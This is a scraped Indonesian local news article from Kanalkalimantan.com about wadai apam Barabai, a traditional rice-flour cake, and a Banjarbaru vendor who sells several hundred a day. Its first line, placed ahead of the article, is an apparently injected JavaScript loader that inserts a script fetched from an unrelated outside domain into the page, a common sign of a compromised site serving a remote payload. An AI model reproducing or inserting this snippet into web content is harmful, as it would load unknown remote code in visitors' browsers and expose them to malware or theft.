(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Keberadaan wadai apam Barabai di Ibu Kota Provinsi Kalimantan Selatan (Kalsel) masih lestari dan kini malah makin dicari.
Tergerus zaman dengan banyak muncul kuliner kekinian, namun produk olah tangan khas daerah di Banua Anam ini masih diburu penyuka kue tradisional.
Seorang pedagang wadai apam Barabai di Kota Banjarbaru mengaku terus kebanjiran pesanan.
“Kalau pagi banyak yang cari buat sarapan karena enak dimakan pas hangat,” ujar Sella seorang pedagang wadai apam Barabai di Kelurahan Kemuning, Kecamatan Banjarbaru Selatan, Kota Banjarbaru, Selasa (17/12/2024).
Baca juga:KPU Banjarbaru Tak Hadir Sidang Gugatan di PN Banjarbaru
Sella menyebutkan, kedai wadai apam yang letaknya di Jalan Chandra ini adalah lokasi kedua miliknya, lokasi pertama berdiri di wilayah Landasan Ulin.
“Alhamdulillah ramai, ini cabang kedua, cabang satunya ada di Landasan Ulin dan baru dua minggu buka di sini,” ungkap dia.
Adapun wadai apam yang ia jual merupakan sebagai oleh-oleh kuliner tradisional dari Barabai, Hulu Sungai Tengah, Kalsel.
Baca juga:Warga Rantau Bakula Mengadu ke DPRD Kalsel, Minta Evaluasi Aktivitas Tambang
Satu biji wadai apam seharga Rp1.000. Dalam satu hari, apam Barabai buatannya bisa ludes terjual sekitar 300 sampai 500 biji.
Diketahui, wadai apam Barabai adalah kue berbahan dasar tepung beras, tape singkong, gula merah, dan gula putih.
Kue tradisional ini memiliki tampilan bulat, tipis, berwarna coklat muda, dan putih tergantung jenis bahan dasar gula yang dipergunakan.
Tepung beras yang digunakan adalah untuk memberikan tekstur lembut dan memiliki aroma gula merah aren yang kuat.
Baca juga: Resmi Mulai Berlaku, Ini Tarif Baru Pembuatan Paspor
Menurut Sella, wadai apam memiliki beragam bentuk dan jenis, seperti ada yang bulat dan ada juga segitiga. “Seperti ada apam Barabai, ada juga apam Bugis,” tambahnya.
“Bedanya apam Barabai dengan apam Bugis bentuknya saja, namanya khas Barabai itu karena bentuknya bulat tipis, kalau apam lain beda bentuknya, kalau dari rasa rata-rata sama,” jelas Sella.
Biasanya untuk membeli wadai apam di kedai milik Sella, pembeli harus rela datang pagi agar tidak kehabisan.
Salah satu pembeli Salsabila, mengaku pertama kali datang ke sini, tapi sudah kehabisan stok adonan. Sehingga ia pun hanya bisa membeli sisa sedikit saja wadai apam yang tersedia.
Baca juga: Wali Kota Aditya Pilih Pertahankan Tugu Adipura, ATCS Jadi Mubazir?
“Padahal mau beli banyak, karena jarang menurut saya yang jualan apam Barabai sekarang,” ucap Salsabila kepada Kanalkalimantan.com.
Dia mengatakan akan kembali datang ke kedai wadai apam Barabai milik Sella ini nanti.
“Enak rasanya, jadi ada rencana beli lagi nanti,” tutupnya. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, PARINGIN - Dinas Koperasi, Usaha Kecil dan Menengah, dan Tenaga Kerja (DKUKMTK) Kabupaten Balangan… Read More
KANALKALIMANTAN.COM, TANA PASER - Kanit Reskrim Polsek Batu Sopang Aipda Kiswanto terkapar dihajar oleh seorang… Read More
Sidang Perdana Dua Terdakwa Digelar 2 Januari 2025 Read More
KANALKALIMANTAN.COM, BANJARBARU - Srikandi PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah warga dari Desa Rantau Bakula, Kecamatan Sungai Pinang, Kabupaten Banjar mendatangi… Read More
KANALKALIMANTAN.COM, JAKARTA - PT PLN (Persero) mendukung penuh langkah Pemerintah dalam menyalurkan paket stimulus ekonomi… Read More
This website uses cookies.